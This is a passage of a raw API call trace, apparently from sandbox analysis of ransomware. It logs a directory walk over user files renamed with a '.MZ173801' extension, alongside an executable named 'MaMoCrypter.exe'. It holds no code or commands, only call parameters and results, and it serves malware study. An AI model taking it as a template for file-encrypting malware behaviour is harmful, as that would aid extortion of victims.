ftCreationTime.dwHighDateTime=0x1d5e848, ftLastAccessTime.dwLowDateTime=0x45cd1af0, ftLastAccessTime.dwHighDateTime=0x1d5e813, ftLastWriteTime.dwLowDateTime=0x9305a7f4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe7c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="B_iWPY4YFBG.m4a.MZ173801", cAlternateFileName="B_IWPY~1.MZ1")) returned 1 [0184.232] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb80199c0, ftCreationTime.dwHighDateTime=0x1d5ef5c, ftLastAccessTime.dwLowDateTime=0x971f95d0, ftLastAccessTime.dwHighDateTime=0x1d5ea3a, ftLastWriteTime.dwLowDateTime=0x9305a7f4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4dbd, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="D7yD06jADs4bzbO.xlsx.MZ173801", cAlternateFileName="D7YD06~1.MZ1")) returned 1 [0184.232] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x440792d0, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x440792d0, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0xce389e99, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd665090, ftCreationTime.dwHighDateTime=0x1d5e5ba, ftLastAccessTime.dwLowDateTime=0x8e82ea20, ftLastAccessTime.dwHighDateTime=0x1d5e9be, ftLastWriteTime.dwLowDateTime=0x930809e3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x301d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="eIdmvaOqadIUE.jpg.MZ173801", cAlternateFileName="EIDMVA~1.MZ1")) returned 1 [0184.232] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x509abe0, ftCreationTime.dwHighDateTime=0x1d5ee72, ftLastAccessTime.dwLowDateTime=0x7d5708d0, ftLastAccessTime.dwHighDateTime=0x1d5e18a, ftLastWriteTime.dwLowDateTime=0x931d7f40, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe382, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="fnWHfWmALlcTd.wav.MZ173801", cAlternateFileName="FNWHFW~1.MZ1")) returned 1 [0184.232] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2b78d20, ftCreationTime.dwHighDateTime=0x1d5e0ff, ftLastAccessTime.dwLowDateTime=0xea340360, ftLastAccessTime.dwHighDateTime=0x1d5ea9d, ftLastWriteTime.dwLowDateTime=0x931d7f40, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x9db0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="GE2XWZw-UJlajB.png.MZ173801", cAlternateFileName="GE2XWZ~1.MZ1")) returned 1 [0184.232] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.232] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cf1c950, ftCreationTime.dwHighDateTime=0x1d5ef1c, ftLastAccessTime.dwLowDateTime=0x6c86b580, ftLastAccessTime.dwHighDateTime=0x1d5f082, ftLastWriteTime.dwLowDateTime=0x9332f423, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18887, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="i5uD5Xoo.png.MZ173801", cAlternateFileName="I5UD5X~1.MZ1")) returned 1 [0184.232] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.232] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3779890, ftCreationTime.dwHighDateTime=0x1d5e44a, ftLastAccessTime.dwLowDateTime=0x8159dc0, ftLastAccessTime.dwHighDateTime=0x1d5e108, ftLastWriteTime.dwLowDateTime=0x933556f6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x137d5, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="IDF-wgV.m4a.MZ173801", cAlternateFileName="IDF-WG~1.MZ1")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.233] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28abc170, ftCreationTime.dwHighDateTime=0x1d5edc6, ftLastAccessTime.dwLowDateTime=0xdca06b10, ftLastAccessTime.dwHighDateTime=0x1d5e3c9, ftLastWriteTime.dwLowDateTime=0xdca06b10, ftLastWriteTime.dwHighDateTime=0x1d5e3c9, nFileSizeHigh=0x0, nFileSizeLow=0x2fec, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="J8fmEpcFoOu5EizoMu T.odt", cAlternateFileName="J8FMEP~1.ODT")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.233] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a42e610, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xab308600, ftLastAccessTime.dwHighDateTime=0x1d5ea68, ftLastWriteTime.dwLowDateTime=0x933556f6, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8f17, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="KMXghpbeR3-y8wVV9k.wav.MZ173801", cAlternateFileName="KMXGHP~1.MZ1")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.233] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5350a090, ftCreationTime.dwHighDateTime=0x1d5ec1c, ftLastAccessTime.dwLowDateTime=0x71becf80, ftLastAccessTime.dwHighDateTime=0x1d5e6e4, ftLastWriteTime.dwLowDateTime=0x9337b889, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x463e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="llyx8LTQT3Lq.png.MZ173801", cAlternateFileName="LLYX8L~1.MZ1")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.233] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26acf900, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x27458f80, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x8d99700, ftLastWriteTime.dwHighDateTime=0x1d61ff3, nFileSizeHigh=0x0, nFileSizeLow=0xe6800, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="MaMoCrypter.exe", cAlternateFileName="MAMOCR~1.EXE")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.233] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd97dc5f0, ftCreationTime.dwHighDateTime=0x1d5e8b9, ftLastAccessTime.dwLowDateTime=0x8f8b8fb0, ftLastAccessTime.dwHighDateTime=0x1d5e45c, ftLastWriteTime.dwLowDateTime=0x8f8b8fb0, ftLastWriteTime.dwHighDateTime=0x1d5e45c, nFileSizeHigh=0x0, nFileSizeLow=0x1105c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="nDZdZhLaQYg.ots", cAlternateFileName="NDZDZH~1.OTS")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.233] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.233] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb76bc70, ftCreationTime.dwHighDateTime=0x1d5ebfe, ftLastAccessTime.dwLowDateTime=0xc8f0c550, ftLastAccessTime.dwHighDateTime=0x1d5ec0d, ftLastWriteTime.dwLowDateTime=0x935dde4b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xdfbe, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oc9w vNlFm_eUy1Ryd4.pdf.MZ173801", cAlternateFileName="OC9WVN~1.MZ1")) returned 1 [0184.233] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.234] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.234] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf802b420, ftCreationTime.dwHighDateTime=0x1d5e424, ftLastAccessTime.dwLowDateTime=0x6cee0960, ftLastAccessTime.dwHighDateTime=0x1d5e6eb, ftLastWriteTime.dwLowDateTime=0x9360410e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x787, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="oojSlrPVLmu.avi.MZ173801", cAlternateFileName="OOJSLR~1.MZ1")) returned 1 [0184.234] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.234] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.234] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63ac88f0, ftCreationTime.dwHighDateTime=0x1d5e500, ftLastAccessTime.dwLowDateTime=0x46be9e90, ftLastAccessTime.dwHighDateTime=0x1d5e27b, ftLastWriteTime.dwLowDateTime=0x9362a3f1, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x18613, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="OZPiTj4Rb.flv.MZ173801", cAlternateFileName="OZPITJ~1.MZ1")) returned 1 [0184.234] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.234] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.234] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9dbfee80, ftCreationTime.dwHighDateTime=0x1d5f057, ftLastAccessTime.dwLowDateTime=0x45b19da0, ftLastAccessTime.dwHighDateTime=0x1d5edfb, ftLastWriteTime.dwLowDateTime=0x45b19da0, ftLastWriteTime.dwHighDateTime=0x1d5edfb, nFileSizeHigh=0x0, nFileSizeLow=0xe4f, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="QsHzM41CtrXDXmh.odt", cAlternateFileName="QSHZM4~1.ODT")) returned 1 [0184.234] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.234] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.234] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2932660, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0xb340ef60, ftLastAccessTime.dwHighDateTime=0x1d5ee96, ftLastWriteTime.dwLowDateTime=0x9375b667, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x38e1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="RGQur6sY-GXeNf-nX.jpg.MZ173801", cAlternateFileName="RGQUR6~1.MZ1")) returned 1 [0184.234] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.234] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.234] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38767120, ftCreationTime.dwHighDateTime=0x1d5e12a, ftLastAccessTime.dwLowDateTime=0xf9ce26b0, ftLastAccessTime.dwHighDateTime=0x1d5f098, ftLastWriteTime.dwLowDateTime=0x937a7b0b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4d0d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="u2kZNmc48Eti0Q.swf.MZ173801", cAlternateFileName="U2KZNM~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23ed9990, ftCreationTime.dwHighDateTime=0x1d5ed78, ftLastAccessTime.dwLowDateTime=0x4dbb43e0, ftLastAccessTime.dwHighDateTime=0x1d5eb10, ftLastWriteTime.dwLowDateTime=0x937cddc2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x5282, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="UV46w2I sa.flv.MZ173801", cAlternateFileName="UV46W2~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc752b0, ftCreationTime.dwHighDateTime=0x1d5f0d3, ftLastAccessTime.dwLowDateTime=0xf89b6070, ftLastAccessTime.dwHighDateTime=0x1d5e7ef, ftLastWriteTime.dwLowDateTime=0x938d8dbe, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x844c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="vB8zsHUk.bmp.MZ173801", cAlternateFileName="VB8ZSH~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80e1fde0, ftCreationTime.dwHighDateTime=0x1d5e4b7, ftLastAccessTime.dwLowDateTime=0xa77d3460, ftLastAccessTime.dwHighDateTime=0x1d5e66a, ftLastWriteTime.dwLowDateTime=0x938ff00e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x4778, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="VLgSOuECDd_LaP.jpg.MZ173801", cAlternateFileName="VLGSOU~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8abb710, ftCreationTime.dwHighDateTime=0x1d5e81d, ftLastAccessTime.dwLowDateTime=0xa93545b0, ftLastAccessTime.dwHighDateTime=0x1d5e59b, ftLastWriteTime.dwLowDateTime=0x938ff00e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2c9d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="W8V9x-I5M8DNxGO4p7hs.mp3.MZ173801", cAlternateFileName="W8V9X-~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b20dec0, ftCreationTime.dwHighDateTime=0x1d5e12b, ftLastAccessTime.dwLowDateTime=0xab80c5d0, ftLastAccessTime.dwHighDateTime=0x1d5e3fa, ftLastWriteTime.dwLowDateTime=0x939252ba, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x98c6, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="wsBv9esj.jpg.MZ173801", cAlternateFileName="WSBV9E~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbf52270, ftCreationTime.dwHighDateTime=0x1d5ef80, ftLastAccessTime.dwLowDateTime=0xba8fa2d0, ftLastAccessTime.dwHighDateTime=0x1d5e2d3, ftLastWriteTime.dwLowDateTime=0x93a09fe7, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x123c2, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="x1eN.bmp.MZ173801", cAlternateFileName="X1ENBM~1.MZ1")) returned 1 [0184.235] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.235] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.235] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8d400e0, ftCreationTime.dwHighDateTime=0x1d5e1cd, ftLastAccessTime.dwLowDateTime=0x341ed0, ftLastAccessTime.dwHighDateTime=0x1d5ec8c, ftLastWriteTime.dwLowDateTime=0x93a302b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xfedf, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xadhbcV1t.mkv.MZ173801", cAlternateFileName="XADHBC~1.MZ1")) returned 1 [0184.236] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.236] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.236] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8093cfa0, ftCreationTime.dwHighDateTime=0x1d5e861, ftLastAccessTime.dwLowDateTime=0x20a94360, ftLastAccessTime.dwHighDateTime=0x1d5e67a, ftLastWriteTime.dwLowDateTime=0x93a302b2, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x7a8d, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XBv9B02U.mkv.MZ173801", cAlternateFileName="XBV9B0~1.MZ1")) returned 1 [0184.236] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.236] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.236] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7ec18e0, ftCreationTime.dwHighDateTime=0x1d5e3ca, ftLastAccessTime.dwLowDateTime=0x2351fef0, ftLastAccessTime.dwHighDateTime=0x1d5e43a, ftLastWriteTime.dwLowDateTime=0x93a5663b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x151a4, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="xiB3D2t_hb.bmp.MZ173801", cAlternateFileName="XIB3D2~1.MZ1")) returned 1 [0184.236] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.236] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.236] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fa6740, ftCreationTime.dwHighDateTime=0x1d5eee4, ftLastAccessTime.dwLowDateTime=0xfc4e9da0, ftLastAccessTime.dwHighDateTime=0x1d5ed43, ftLastWriteTime.dwLowDateTime=0x93bd8c70, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xce53, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="XsWSFfkpZ7NjwRf.wav.MZ173801", cAlternateFileName="XSWSFF~1.MZ1")) returned 1 [0184.236] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0184.236] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0184.236] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9e4a20, 